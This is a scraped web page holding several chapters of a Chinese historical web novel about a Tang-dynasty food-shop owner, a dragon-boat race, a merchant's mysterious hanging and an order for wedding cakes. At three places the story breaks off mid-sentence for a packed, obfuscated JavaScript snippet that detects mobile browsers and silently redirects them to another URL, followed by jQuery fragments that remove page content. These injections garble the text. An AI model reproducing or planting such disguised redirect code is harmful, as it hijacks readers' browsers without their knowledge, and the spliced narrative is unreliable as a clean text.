免费的员工段知微自然是求之不得的，但是不给工钱等于压迫，段知微自觉爱钱异甚，但是也没丧良心到这种地步，见蒲桃年纪小说话诚恳，性格良善，又见她一双小手上遍布着干活的老茧，实在说不出拒绝的话，只好硬着头皮答应下来。 蒲桃见段知微答应下来甚是欣喜，段知微把段家铺子的方位告诉了她，蒲桃唤一声“多谢段娘子”而后欢天喜地的走了。 段知微还沉浸在天降员工这桩好事中，就被被远处欢呼声唤回来。 头亭上已经有彩衣打扮的小儿水嬉，来一出热闹的童子拜观音、指日东升，演得惟妙惟肖甚是精彩，赢得阵阵欢呼声。 岸边斗草的游人也不斗了，簸钱的人也不簸了，一股脑儿的挤到了曲江边上。段知微身量不足，挤不进去，在曲江边缘围绕了好几圈，才堪堪在几个仕女之间寻了个空隙挤了进去。 岂料立刻被人打量了几眼。 段知微尴尬地发现那几位穿着华丽的仕女中，有那日在南严寺买走她手上所有荷花糕的杜有容。 杜有容倒是没能认出她，只是年轻的高门娘子想表达什么不一定需要靠嘴说。 她只需要打量一下段知微翠色裙摆上因劳作而产生的褶皱，再看一眼段知微头上不值钱的镂空叶脉簪，就能清晰切明确的表达“你这个土鳖”这层意思。 段知微只好悄悄往旁边挪了一挪。 随着伏鼓吹手的节奏，发令者身着葛袍璎帽，先鞠躬唱个大喏，而后手挥五色旗帜，各龙舟认旗色回朝盘旋，曲江岸边的游人都不怎么敢讲话，气氛似乎一触即发。 最后一声号角响起，千帆龙舟如飞箭一般穿梭在江面之上，金吾卫的军旗是金线勾勒的麒麟，在一众船中尤为明显。 袁慎己便是金吾卫的当头之人，他今日没有服绯袍，也没有佩戴那身明光甲，只赤膊挥动短桨，手臂青筋暴起，额头上滴下汗珠来。 羽林军的船列开始发力，在快速逼近，两船正在激烈之际，伏鼓手立时大力挥舞手中鼓棒，鼓声如雷鸣震天响。 段知微莫名有些焦躁，许是熟人在船上，段知微很是希望袁慎己那队能赢，甚至坏心眼巴望着羽林军的船能突然侧翻一下什么的。 旁边的杜有容更是焦灼的拧紧了帕子，一边慌张去拉旁边的丫鬟道：“云雀怎么办啊，妾有些不敢看了。” 比赛要接近尾声，曲江池畔的游人都屏住了呼吸，领先的仍然是金吾卫列队，龙舟上十来个人都保持着高强度的划桨节奏。 路过段知微站的凉亭时，段知微朝着龙舟挥挥手，或许是她的错觉，她觉得袁慎己在百忙之中 往这边望了一眼。 最终还是金吾卫的船只以其微小的差距拔得了龙舟的头筹。 天子的龙船龙头以纯金打造，在阳光下闪耀着夺目光彩，目前在曲江中停靠仍未回銮，圣人要在上面赏赐拔得头筹的队伍。 段知微心满意足看完了长安端午盛况，见日头未晚，便也去摊子上饮一碗乌梅浆。 她沿着曲江边慢慢往回走，慢慢欣赏黄昏风光，走到一处石壁前顿住。 空气里都是雄黄酒的气息，游人呼朋结伴的返程，此刻黄昏色泽浓郁，袁慎己站在柳树之下， 双手抱臂似乎在等什么人，抬头见到她，大步朝着他走来。 “恭喜都尉拔得头筹。”段知微稍稍福了福身子，低头从食盒拿出余留的粽子和沙团：“都尉今日辛苦，可要用些点心？” 想了想又笑着补充道：“不过自然是比不过圣人赏赐的蜜淋和巨胜奴就是了。 袁慎己平素冷冽的脸上被夕阳染上些温柔色彩，拿着今日的彩头长寿线低头看她，轻声说：“好”。 本朝民风开放，曲江边郎君仕女同游的比比皆是，眼下二人坐在凉亭中，袁慎己随手拆了一枚粽子一口吃掉。 很不幸选中了包着杨梅的，杨梅酸味首先在舌尖上弥漫开来，让袁慎己不禁皱了下眉头。 旁边段知微双手一拍哈哈笑道：“都尉怕是吃到包着杨梅的了。” 本着增加粽子乐趣的想法，段知微故意在渍杨梅的时候只放了少量糖，每个吃到杨梅粽的人都直皱眉。 不过也正因为九子粽馅料不同，购买的食客竟然有增无减，都说要拿回去给亲朋好友尝尝，看那个吃到杨梅的倒霉鬼是谁。 袁慎己又嚼了几口，杨梅酸中的几丝甜味弥漫开来与酸气交缠，滋味开始美妙起来。 旁边段知微的笑声爽朗，手边是美食，袁慎己心情倒是好起来，他想起小时母亲尚未故去，端午也会包些粽子，带他去江边看赛龙舟，为他抹上雄黄酒，编织长寿绳。 袁慎己低头看了眼圣人赐下的长寿绳，像是怕惊扰到她，轻声问道：“段娘子可否帮某戴上这长寿绳。” 长寿绳，结五色丝为索，据说一丝缠臂订三生，五采同心延百寿。 段知微笑声夏然而止，她毕竟不是真正古代人，不知道长寿绳有什么意义，但是被此刻四周突然产生的奇怪氛围搅扰的略微心神不宁，想了想还是在他炙热的眼神里接过那条长寿绳。 不愧是圣人赐下的绳子，五种明亮色泽在黄昏的微光里泛着漂亮的光彩。 袁慎己伸出来一只胳膊，段知微稳了稳心神轻轻把长寿绳给他系上。 他的胳膊粗壮又结实，肌肉线条很是硬朗，手上好几处结了痂的伤疤，看得段知微直皱眉。 袁慎己见她如此，便不着痕迹地把手藏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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段知微站起来伸个懒腰，准备烧些热水抹抹身子，窗外突然又下起了倾盆大雨，段家食铺简陋，仅仅一个小破夯土窗，段知微只好拿起一块木板去挡住土窗，而后泼天的雷鸣闪电尽数砸下。 只是段知微劳累了一天，再大的雷也惊不醒困意，她低头吹灭桌上豆大点的旧瓦灯，很快便上塌睡着了。 整个长安在宵禁和瓢泼的大雨之下都陷入了诡异的静谧，只除了一个地方。 平康坊位于东区第三街第五坊，这里每晚热闹非凡，灯火通明将整个坊照得如同白昼。今夜大雨如瀑，也挡不住达官贵人乘坐马车蜂拥而至。 玉春楼在平康坊南曲第一家，生意向来最好，其间欢声笑语、歌舞升平。歌妓牡丹今夜弹了几曲琵琶，又多饮了几杯酒，只觉头痛欲裂，想回房找丫鬟给篦篦头，却被老鸨拦住。 对待头牌娘子，玉春楼的老鸨还是颇为客气的，只哄着道：“韦家乃巨富之家，韦郎君又是个大方的，你只需去陪坐一会，随手弹两曲，金箔就到手了。” 牡丹不太乐意，老鸨随后又板起脸道：“既不愿意，那便让芍药去吧，挣得的金箔给她打一支闹蛾金银珠花簪。” 牡丹与芍药最是不对付，听闻这话立时便应了下来，抱着琵琶上了楼。 她醉意明显，踉跄着走进富商韦釜所在的房间，房间熏着昂贵的苏合香，牡丹转了一圈没见韦崟，只觉被戏耍，扔下琵琶就要出门。 狂风钻过直棱窗把烛火吹得忽明忽灭，牡丹却在墙上看到了左右飘摇的黑影，她疑心眼花，揉揉眼睛，发现黑影还在，不觉抬头望去。 只见那刚刚在楼下还一掷千金，坐拥红袖的韦釜，此刻竟悬在房梁之上，身体因为僵硬被风吹得左右晃荡，脸色惨白如纸，舌头猩红伸出老长，双眼圆睁，空洞的眼睛死死盯着牡丹。 凄厉的惨叫声瞬间划开了平康坊漆黑的天幕。 12. 第十二章 哀婉怪谈与槐叶冷淘 眼下天越发炎热了起来，路边已有人坊间挑担子卖凉冰、草席、竹夫人之类。段大娘爱美，一大早便去西市选了些花蕊连蒂的茉莉花回来簪带。 段知微也拿了一串香气扑鼻的茉莉串子压在小蒲桃的衣襟上面，这小蒲桃圆圆脸，像那画上的福娃，见人就笑盈盈的，左邻右舍都很喜欢她。 这厢段知微正在教蒲桃煮甘草凉水，配方很是简单，只需将甘草、砂糖一起熬煮即可，若有条件再磨些碎冰进去。她顿了顿无奈耸耸肩“可惜这冰块价贵，咱们暂时还用不起。” 小蒲桃也学着无奈耸耸肩，逗得大家哈哈大笑。 今年甘草格外的便宜，段知微每天熬煮一缸凉水就放在门口槐树下，蒙一层洁净粗纱，来往行人只需花上一个铜子儿就能喝上一大碗。 段知微更是给街坊们每户送去一碗，因此附近邻居竟少有妒忌她家生意好的。 段知微转身教育小蒲桃“做生意最重要和气生财，不要吝啬，这样才能广结善缘。” 小蒲桃狠狠点头，扭头给排队的客人打了双份的饮子，段知微轻咳一声“也不能太大方。” 每个人都给双份的话，本也回不来啊。 长安自从端午那日后，雨水就没断过，连带着生意都不怎么好，行人看眼阴天，急着赶路，根本无暇分出时间来买吃食。 段大娘眼看店里已有阿盘和蒲桃，乐得清闲，每日换一身鲜亮妃色襦裙去坊间窜门，时不时去听个说书。 这日段大娘打着伞匆匆回来，很是高兴地跟几个无所事事的年轻娘子讲：“最近坊间有个有趣传闻。” 店里没生意，段知微闲得发毛，听她如此，忙问：“是何传闻？” 段大娘歪座到榻上：“给妾倒杯酸浆。” 蒲桃忙去打了份酸浆，段大娘饮完一大口，才神神秘秘道：“东市最大的珠宝肆铺老板，韦郎君端午晚上死在了平康坊。” 段知微赶紧坐起身子捂住蒲桃耳朵：“长姑！” 一郎君夜间死在风月场所，想也知道是个香艳风流的轶闻，虽说段知微也好奇，但是还有小孩在场呢。 段大娘摆摆手皱眉看她：“你想哪儿去了？” 原来那韦郎君是夜间吊死在了玉春楼的上厢房，据说死状极惨，歌妓的惨叫声吸引了许多人前去围观，流言随着宵禁的解封传遍了长安坊间。 听上去确实渗人，但是跟大慈恩寺俗讲故事的各类牛鬼蛇神比起来还是差点意思，段知微不高兴听了，喊阿盘和蒲桃去后院帮忙腌制鱼祚。 “那不一样，这个韦郎君身份可不一般。”段大娘顿了一顿，似乎想勾起她们的兴趣。 “什么身份？皇亲国戚？”段知微问。 “他是个妖怪？”蒲桃猜到。 段大娘露出一个神秘的微笑，幽幽道：“他是《任氏传》里公子韦崟的原型。” 此话一出，段知微和蒲桃立刻两眼放光的重新坐了回去，阿盘本已走到后门口，听了这话，犹豫一会，也坐了回去。 整个长安城如雷贯耳的《任氏传》：据说有个叫郑六的郎君，某日在升平门一处宅邸遇到一白衣妖冶女子，与之一夜春宵。第二日再去到那所宅邸，竟被隔壁邻居告知宅邸荒废多年，无人居住。那邻居笑道：“郎君怕是遇上狐精了。” 十余天后，郑六在西市衣帽肆再遇任氏，任氏却四处躲避他，郑六寻到她，表示不介意其狐精身份，二人订下海誓山盟。 郑六有个富有的同族兄长韦崟，一日听闻郑六得此美妇，竟趁郑六不在家，带着家童前去，见任氏确实美若天仙，任氏至死不从，以大以赢得韦崟珍重。 本是风流袅娜的才子佳人故事，却有一个沉重悲哀的结局：郑六调到槐里府做果毅尉，恳求任氏同行，任氏很为难道：“巫女算得，妾今年不宜西行。” 郑六一再恳请，任氏不得已还是跟着他走了。途中遇到一群猎户，一只苍犬窜出，任氏大惊化为白狐逃窜，虽有郑六策马呵斥，任氏仍然死于苍犬之口。郑六深觉悲痛，倾囊赎下尸体葬之。 这故事写得新奇有趣，结局又哀婉动人，很快风靡了整个长安，书肆的《任氏传》总是卖到断货，雕版印刷来不及印书，那些日子，长安的杂剧、散乐、皮影戏，全部都是这部《任氏传》。 至于为何死去的韦釜就是《任氏传》里的公子韦崟，全都是因为他自己在平康坊喝醉酒时自己承认了，加上其身份与书里细节都能对的上。 承认自己是公子韦崟的原型后，韦釜一时名声大噪，再加上想听任氏传故事的人太多了，韦釜在东市的商铺生意一下子爆火了起来。 段知微听得生气，此等逼迫良家女子，因为人家奋起反抗才没继续犯罪的垃圾竟然赚得盆满钵满，真是死得其所。 听完故事，段知微趁铺子了没人，准备试做些新的食物。 最近胡饼、酥肉销量不好。天气实在闷热，饶是段大娘自己，都擦着汗拒绝了炸酥肉“油腻腻的，实在是吃不下。” 倒是绿豆粥、荷花糕、冰凉饮子们卖得算好，段知微只得紧急准备更改食单。 黄昏宵禁前难得不下雨了，左邻右舍都围着老槐树摇着蒲扇纳凉，树上蝉鸣喧杂，段知微提着壶酪浆过来征求民意，耶律大娘不假思索“这天肯定是吃槐叶冷淘啊。” 槐叶冷淘，说白了就是凉面，只不过揉面的时候加了些翠绿色的槐叶汁，看着舒爽，吃起来有淡淡的槐叶香。 怎料一旁的野那突然开口“我自打嫁到长安，每年夏天都是槐叶冷淘，都吃絮了，不想吃。” 段知微决定试试改良一下槐叶冷淘。 首先将槐叶捣出汁水与清水混合，再与面粉、淀粉、盐拌在一起，再过筛一遍，搅和成颜色青绿的面糊。 盛一勺子面糊摊进粗瓷大盘里。盖锅盖隔水蒸上一会，待到面糊起泡为止。 段知微指导蒲桃将盘子放入井水过凉，这样比较容易揭下来。一层层青绿色面皮晶莹剔透的码在一起，看上去清凉又舒爽。 段知微很是满意的点点头，又来调酱料，先烘热锅，炒一锅鸡蛋酱，将豆豉酱与芝麻、花椒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426915|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎混合放进去，放点茱萸水增加辣味。 又备了些胡萝卜、黄瓜丝、绿豆芽、花生碎放入湃入井水里保存。 万事齐备，段知微松口气，招呼大家休息，明早就将这改良的槐叶卷面皮作为朝食贩卖。 第二日一早，苏莯值了一夜班，脚步飘忽的想来买个胡饼，发现胡饼炉是凉的。 段知微不好意思的表达了歉意：“最近太热了，夹肉的胡饼没人爱吃了，郎君可愿来点槐叶卷面皮？” 只见木案上整整齐齐的码着脆嫩的豆芽，水灵灵脆生生的黄瓜条，颜色鲜艳的胡萝卜条。旁边盆里的鸡蛋酱色泽金黄，香味浓郁、 苏莯咽了咽口水道：“那来一份吧。” 段知微一手执箸，另一只把卷面皮摊在手上，先放入脆嫩豆芽、脆生黄瓜、胡萝卜条，再舀上一勺子喷香的鸡蛋酱，包成了鼓鼓的包袱状卷饼，递给苏莯。 苏莯迫不及待地接过饼咬上一口，面皮筋道有韧性，黄瓜脆嫩新鲜，豆芽爽口，最好吃的当属里头的鸡蛋酱，这鸡蛋酱嫩滑细腻，炒的刚刚好，口感黏稠适中，不会过于稀薄印象口感，也不会太厚过于腻。 最重要的是，这鸡蛋酱里咸香、微辣的风味层次分明，在这燥热的夏季吃起来很是舒服，苏莯吃得嘴巴鼓鼓。 段知微很是体贴的送来一碗甘草凉水，问：“味道如何？” 苏莯来不及说话，只得对着她疯狂点头。 段知微心下暗喜，又暗示道：“既味道不错，苏录事带些回官署吧。” 这槐叶卷面饼味道不错，吃起来舒爽，想来袁慎己应该也喜欢。 苏莯咽下去最后一口，又一口气干下甘草凉水，没多想，只当段知微想多做些生意，只能抱歉道：“官署从上到下除了我这个文官，其他最近没人啊。” 段知微惊讶地脱口而出：“那袁都尉人呢？” 苏莯看上去比她还要惊讶：“在平康坊附近戒严呢，段娘子难道没听说平康坊诡异的杀人命案吗？” 苏莯左右看顾一下压低声音对着段知微道：“传闻那死去的韦郎君是《任氏传》的原型，眼下整个长安都在传是狐精鬼魂的肆意报复。” 外面阴雨沉沉，苏莯这句话说的段知微整个人不禁打了个寒颤，诡丽的传奇故事《任氏传》，死在平康坊的巨富韦家郎君。 苏莯吃完槐叶卷面皮站起来郑重道谢：“苏某在官署还有些文案未能整理，不叨扰娘子”他掏出钱正自准备出去，又回头说：“娘子若想做袁都尉的生意，他在平康坊南曲值守，娘子直接去便是了。” 段知微本意是担心袁慎己吃不上饭，听他如此说却也不好辩驳，只好点点头：“多谢。” 卷面皮生意果然不错，那放在食案上颜色鲜艳的菜码和酱料很是吸引人眼球，顾客一个接一个来。 段知微把包法教给阿盘和蒲桃，自己特特留了一个，想去趟平康坊给袁慎己送去，刚出门便跟撑伞欲进食肆的一位娘子撞个满怀。 段知微急忙抬头准备道歉，见到那娘子模样，不觉怔住。 13. 第十三章 承接“昏”礼花糕 油纸伞下，美人鬓发若浓云，红裙翠袖，一双眼眸如含秋水，眼角一点朱红泪痣，宛如从画上走出来的，当真是极美。 段知微先是被此等美貌震惊了一下，而后很是抱歉道：“妾走得急了些，娘子可有冲撞到？” 美人很是好脾气的摇摇头问道：“没有被冲撞，无需介怀。”她环顾段家铺子一圈，而后迟疑着问：“这里可是段家食肆？” “没错，没错。这里便是段家食肆，娘子没来错。”段大娘本坐在塌下啃一只蜜望，闻言蹭一声挤了过来，把段知微挤到后面，用抹布把食案擦得干干净净邀请她坐下：“小店残破，娘子不嫌弃的话进来坐坐。” 段大娘最近懒惫了许多，段知微见她热情如此，很是诧异，段大娘过来压低声音说：“你看那娘子衣服料子。” 段知微：“什么？” 段大娘急道：“哎呦呦，那娘子身上的对鸳鸯团花锦绫纹衫子，定是东市云想夹缬里出来的，值几月菜钱呢，这是有钱人，你可千万别怠慢了。” 段知微闻言也更来精神，当即倒上一碗酪浆递给那位美人：“娘子想吃些什么，今日店内首推槐叶冷淘卷面皮，可要来一份？” 那娘子端坐在食案前，问道：“可有粥品之类？”她想了想道：“若再有糕，那就再好不过了。” 段知微看一眼厨房堆得菜品，想了想觉得可行，于是点头道：“娘子稍候片刻。” 厨房备了些绿豆粥，只是甜粥再配上甜糕反而不美，段知微想了想，目光放到角落那堆脆生水灵的大白萝卜上。 段知微唤来阿盘，两人合力给萝卜刮去粗皮，擦成剔透的细丝。阿盘做事干净利落,很快一大盆萝卜丝像雪花堆积起来。 萝卜丝要混上一斤猪板油，配上粗盐下锅略炒，猪板油的香气浓郁，化开来后使得萝卜丝都油润香浓了起来，再将萝卜丝与糯米粉拌在一起加水调匀，这便是萝卜糕的糕坯了。 段知微犹豫了一会，还是去后院檐下拿了条烟熏油亮的腊肉出来，被段大娘一把拦下：“那腊肉我用柚皮松枝熏了几个月，搁西市上能卖上大几十个子儿......” 段知微：“鸳鸯团花锦绫纹，值几个月菜钱呢......”段大娘松了手。 腊肉表皮的黑壳被段知微细细刮掉，露出里面有烟熏香味的粉肉来。段知微想了想，还是没舍得全部用掉，只切了些薄薄的腊肉丁，拌进萝卜糕的糕坯，放蒸笼里蒸。 等了一会，段知微拿一个筷子插入糕中，不粘，即是熟了。 蒲桃见那蒸出来的糕晶莹剔透而且散发厚重的香气，忍不住咽了咽口水。 段知微拿着筷子轻敲桌面：“稍等等，还有一步。” 拿起小锅热油，放些花椒碎炒香，把萝卜糕放进去煎到两面焦黄，最后撒一些葱花。 这萝卜糕看上去酥脆金黄，里面混着暗红色油润的腊肉，上头撒着绿色的葱花，看上去实在是好吃得紧。 段知微见蒲桃眼睛都盯在那上面了，便给她一片试尝，蒲桃迫不及待的拿起一块，等不及吹凉就塞进口中。 这萝卜糕表面煎得焦香酥脆，里头却仍然保持软糯口感，萝卜丝鲜嫩清甜，米粉猪油醇厚浓香，点睛之笔便是腊肉丁了，腊肉的咸味、鲜味恰到好处的融入了糕中，更添丰富层次感。 蒲桃吃的眼泪花花：“从来没吃过这么好吃的东西。”并且趁机表示要永远跟随段知微，才能一直吃到好吃的。 段知微哭笑不得，但也知道萝卜糕算是成功了，便赶紧趁热送到了那位美人跟前道：“娘子等候久了吧，这萝卜糕刚刚出锅，娘子趁热尝尝。” 那美人看上去一举一动甚是有修养，她先是用调羹舀上一点点绿豆粥尝尝，而后持箸夹上一片萝卜糕咬上一小口，放下了筷子。 段知微对这道菜可谓信心满满，见这娘子吃一口就放下，不禁大受打击：“这菜是否不合胃口。” 那美人拿出一块丝帕擦擦嘴角：“味道很好。”她踌躇片刻而后继续道：“妾身名唤连翘，不日便要嫁人，只是婚期已定，陪嫁的果品、花糕皆未寻到满意食肆订做，恰有一友人力荐您家荷花糕，因此妾身从冒昧寻来。” 段知微这才松下一口气，而后换上殷勤微笑：“自然是可以，不知娘子需要哪种糕品？” 连翘想了想道：“甜糕三品，不拘种类，只是妾身要得急，三日是否可得？” “当然当然。”段知微接下这桩大单子，自然满口答应。 得到满意答复，连翘笑了，连眼角那红色泪痣都妖冶起来，她从腰间寻摸到一个荷包，双手递给段知微：“这是订金。”而后详细报了下自己的住址和需要的时间，撑开她那把油纸伞，嫋嫋娜娜走进了长安的雨幕中。 段大娘一大步走来扒开荷包，看到一大把铜钱，很是满意的笑着说：“我的眼光自然是不错......那娘子定是大户人家出身。” 小蒲桃扒着门缝，眼睁睁看着那女人走远，而后转头看桌子，那上头的绿豆粥剩了小半碗，萝卜糕还剩好些，很是眼巴巴的盯着瞧了一会，终是忍不住拉了一下段知微的衣角：“娘子......” 段知微拿起那叠萝卜糕，想了想说：“似乎有些凉掉了，我去拿个小烤盆过来复烤一下。” 小蒲桃大喜，立刻自告奋勇：“我去。”蹦蹦跳跳的去了后院。 小烤盘生了碳，放到了窗口边，几个凉掉的萝卜糕放在上面慢慢烤，竟微微膨胀起来，蒲桃在一旁眼巴巴等着。段大娘百无聊赖的歪躺着饮一碗甜酒，阿盘坐在门槛上看雨。 段知微坐到食案边思考，婚嫁的糕品应该选用什么才好...... 实在是想不到了，段知微决定集思广益，她先看向一旁的段大娘：“一般长安婚娶都要备些什么样式的花糕？” 段大娘已然喝得微醺，听闻如此倒是来了精神：“那自然是要名头吉利的，莲子百合、花生红枣、红绿豆核桃。” 她顿了顿又讲：“你之前做的槐花糕就万万不可。” 五月槐香气扑鼻，段知微采集了开得最盛的鲜槐花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426916|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，和上糯米粉加糖，蒸成槐花糕，味道是好，只是槐意为“木中之鬼”，不能出现在婚嫁的场合。 默默看雨的阿盘突然插话道：“妾的家乡做婚嫁之饼，馅料都是瓜子仁、莲子蓉、杏仁之类的，饼皮是油酥皮。” 阿盘想了想解释道，百合莲子酥饼寓意“百年好合”，芝麻糕则寓意“步步高升”，不同的饼类有不同的寓意。 段知微默默从炉灶底下捡了块碳，一一记了下来。 蒲桃终于把几个萝卜糕都烤好，一人分了几块，萝卜糕外表微微鼓起，焦香酥脆，里面软糯，吃起来竟有些烤年糕的风味。 有个人影自雨幕靠近，坐在门槛的阿盘第一个看见人，赶忙站了起来。 段知微估摸着已是正午，没料到这个点还有人来，不过竟然顾客来了，断没有拦着的理，于是迎了上去：“客官可是来用午食的？” 这回来的是个年轻的书生，生的还算白净，只是脸上透着些怯懦的神色，他把伞放到角落，扶了扶被风刮的东倒西歪的幞头，眼神闪烁了半日，而后说道：“随便来些吃食便可。” 既然没提要求，段知微便包了个槐叶卷面皮递给他，那书生接过，漫不经心地吃着，眼睛却在四处转着。 怕不是盗贼提前来踩点的吧，段知微见他如此，倒是起了些疑心，长安几日下雨，蒲桃也不归家了，就跟着段知微一起睡。 现下段家铺子只有四个娘子，老的少的，若被贼人盯上了是不太安全。她琢磨着是否要去找下坊正，告知下情况。 那书生味同嚼蜡地吃完那个槐叶卷面皮，而后道：“结账。” 一个槐叶卷面皮是十文，那书生却从荷包里掏出五十文铜钱。 段知微迟疑片刻：“您这是？” 书生站起来郑重行完一礼：“在下河间刘氏刘真中，前些时日未婚妻在长安泾河河畔失踪，在下寻了好久，皆未寻到，直到今早见到她进到段家食肆......” “你未婚妻？” “她名唤连翘，眼角一颗泪痣。”刘真中急忙道：“若是娘子知道连翘下落，请一定告知在下。” “抱歉啊”段知微很是歉意的福了福身：“确实有位娘子今早来用朝食，不过只是饮了一碗粥便离开了。” 轰隆隆，连绵不断的雷声降下，一道闪电如利剑划了下来，刘真中脸上竟然浮了一道阴沉的暗影。 “是吗？” 他沉默片刻，又换上那副怯懦纯良的表情：“那便不打扰娘子了。”他规矩行礼道别，而后打伞离开了店。 蒲桃被刚刚的雷电吓到，整个人埋在段大娘怀里，段大娘一边搂着她一边奇道：“这是怎么回事，一边三日后便要嫁人，另一边说未婚妻失踪许久了。” 段知微看向雨幕，这刘真中既然知道连翘进了食肆，为何不主动进来问她......或许是一直在跟踪她，在连翘离开食肆后，因为大雨跟丢了？ 还是另一边的连翘其实并没打算嫁人，订花糕只是个幌子？ 谁在说谎？ 14. 第十四章 制作喜饼喜糖中 这两日，做饭的事情全部交给了阿盘和蒲桃，段知微全神贯注在如何给连翘娘子订上满意的嫁娶花糕。 西市的书肆有本隋朝古籍名叫《糕经》，因为残破缺页所以卖的也很便宜，只要10个铜钱，因此段知微在西市买菜的时候便顺手买了下来。 书里专门讲各类糕品，什么汉宫棋、玉露团、见风消、七返膏...... 种类之繁琐，材料之离谱，印度的曼陀罗果，大食的蔷薇水，波斯的辛香料，甚至还有去北庭的天山采悬崖边的雪莲做馅料供给皇室的雪莲糕。 看得段知微眼花缭乱，瞠目结舌。 这边段知微还在研究古籍，那里段大娘就提着裙子冲了进来“快快快，老陈头又在那卖老冰了，赶紧的。” 此话一出，段知微抄起篮子就拉着蒲桃、阿盘跑了出去。 古代没有制冰技术，所有的冰块来源都依赖于冬日渭水河上的藏冰，往往头一年冬日藏下的冰到了第二年只剩一半，因此冰价昂贵。 只除了搁置了几年的老冰。官宦富贵人家嫌弃这冰不新鲜，因此老冰价贱，平民百姓这才买得起。 老陈头照例在坊内的小巷子里推了个大车，上头并排放着红黄熟透的蜜望、紫水晶般的葡萄和一大篮子用棉布包好的老冰。 老陈头被无数银红绛紫的妇女团团围住，段知微快速说道：“蒲桃，你在右边围堵，阿盘，你去钻左边的空隙。”说着，自己快速冲进了妇女堆里面了。 段知微好容易抢了一大块冰，头上叶脉簪子都歪斜了。她从大队伍里退出来，正好一辆散发香气的华盖宝马车从面前走过，车后恭恭敬敬的跟着两位身着华服的侍女。 “长安大道连狭斜，青牛白马七香车。”段知微看着那车，不禁念诵到。 “长安如此繁华美丽、恢弘气象。我却在坊间小路跟一群人抢冰，真的是......”段知微扶正自己的簪子“真是一点都不优雅。”她自嘲着想。 身后却传来极其讽刺的一声：“大唐的诗风真是堕落了，就连愚钝妇人都能念诵卢升之的诗了。” 段知微正因刚刚人挤人而生气，闻此言蓦地转过身，见一月白色澜袍的文人骑在马上，嘲弄着看她。 她也不动气，只是同样露出个嘲弄的神色来：“大唐的私塾真是堕落了，文人不学《礼记》，跑来对妇人评头论足了。” 那文人闻言脸色即刻难看了下来，后面跟着骑马的几位爆发哄堂大笑。 文人听闻同伴嘲笑登时大怒，刚要说话，被段知微抢白：“足下被同伴嘲笑，莫不是想将这等气加之妾身头上？” 后面的同伴笑完，赶忙上来拉住他：“何苦与一娘子计较。”几人骑着马走远，那文人走出半日，还回过头来看她。 段大娘赶紧把她拉回家，边走边抱怨道：“那一看就是个世家子弟，你何苦疾言厉色得罪这等人。” 段知微跟阿盘先把冰保存严实而后道：“这不是中了暑热，火气上头了吗？” 这边段大娘在老陈头那又买了一篮子蜜望，这蜜望极甜，肉厚，汁多味美，其实就是一种苹果芒，在井水湃上一碗，大家都很是喜欢吃。 看着所有额为了抢这老冰各个都是满头的汗，段知微稍稍有些过意不去，望着那散发浓郁果香味的蜜望，决定来试着做一份多芒小丸子。 糯米粉加入温水搅拌成絮状，揉成光滑的面团，捏成小丸子扔进开水里头煮，煮至浮起来便可捞出来过凉水备用。 蜜望去核用石槌慢慢研磨，磨成芒果泥以后倒入牛乳中，再把糯米丸子一起放进去，最后放进点冰块，一碗香甜可口的多芒小丸子就做好了。 这甜品上金黄的芒果与白色的小丸子相互映衬，看上去十分诱人，蜜望果肉饱满多汁，散发着浓郁果香，糯米丸子咬着有微微的嚼劲。 夏日炎炎，这份冰凉的饮子似乎能驱走浑身的燥热，每个人都在埋头吃，小蒲桃更是一气儿吃完，意犹未尽地说：“真好吃啊。” 段知微道：“待食肆经营规模扩大了，我们也专门修一个冰窖，夏日想用冰了，随时去取就是。” 虽然这话说得真心实意，但也确实有画饼的嫌疑，不过似乎每个人都很吃这个饼，脸上都有了神采，蒲桃撸撸袖子说：“儿去干活了。” 连段大娘都不一改往日偷懒作风，风风火火的忙着备菜去了。 忙活了一上午，夏日特供槐叶冷淘卷面皮大受欢迎，甚至还有别的坊市特特跑来排队买。 下午段知微看着一筐筐的莲子、百合、红豆，终于开始试做连翘娘子需要的喜饼与喜糖。 段知微决定做两色酥饼，做法倒是不复杂，只取油酥四两，蜜糖一两，白面一斤。包入红豆沙、百合莲子蓉，压成饼类上炉烘烤。 刚烤出来的饼因为刷了鸡蛋液，呈现金黄色泽，外形圆润意为“圆满”。 段知微喊小蒲桃试着尝了一个，咬下去便发出了“咔滋”的声响，层层叠叠的酥皮很是丰富了口感，红豆沙细腻浓郁、莲子百合蓉清甜淡雅。 喜糖则是制作了花生酥心糖，花生炒香，再慢熬麦芽糖，糖液变得浓稠后快速将炒好的坚果倒进去，等其自然冷却。 这糖外层糖壳较为坚硬，里头花生馅料浓郁酥脆，糖的甜味和浓郁花生香交织在一起，小蒲桃拉一拉段知微的袖子，说务必给她留上一点当零嘴吃。 段知微特特拿着一个红木色的喜盒，喜盒上是雕刻着镂空“喜”字，四处绘着牛郎织女类的民俗画。 这几样放进喜盒里，段知微便又上了驴车，准备去趟连翘娘子的屋舍，请她看看这打样的喜糖和喜饼是否合其心意。 长安东西两市，西市胡商盛行，商业氛围浓郁；东市则由于靠近富人区，奇珍异宝较多，商品质量也更加好。 段知微想着那花糕毕竟是做婚嫁之用，且订金也给了不少，自然是到东市商肆买 